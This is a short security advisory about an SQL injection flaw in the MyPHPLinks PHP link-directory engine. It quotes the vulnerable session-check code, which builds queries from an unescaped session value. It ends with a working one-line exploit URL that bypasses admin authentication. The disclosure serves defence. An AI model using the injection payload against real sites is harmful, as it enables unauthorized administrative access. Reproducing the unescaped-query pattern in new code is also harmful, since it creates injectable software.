Brought to you by:
Suppliers of:
MyPHPLinks is a PHP engine that creates a web site enviroment very similar to Yahoo's. A security vulnerability in the product allows remote attackers to gain administrative privileges through an SQL inection attack.
Credit:
The information has been provided by Frog Man .
Vulnerable systems:
* MyPHPLinks version 2.1.9
* MyPHPLinks version 2.2.0CVS
Vulnerable code:
admin/auth/checksession.php
---------------------------------------------------------------
[...]
if($idsession!=''){
$dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser,
$MyPHPLinksPass);
if(!$dbs->connect())
die($dbs->error);
if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where
session='".$idsession."' and timesession > now()"))
die($dbs->error);
while($dbs->nextrecord()){
$loginauth = $dbs->valeur("nb");
}
if ($loginauth==0){
header("Location:$MyPHPLinksAuthPErrDef");exit;
}else{
if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set
timesession=now()+".$MyPHPLinksTLSession." where session='".$idsession."'"))
die($dbs->error);
}
}else{
header("Location:$MyPHPLinksAuthPErrDef");exit;
}
?>
---------------------------------------------------------------
Exploit:
http://[target]/admin/index.php?idsession='%20OR%20''='
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by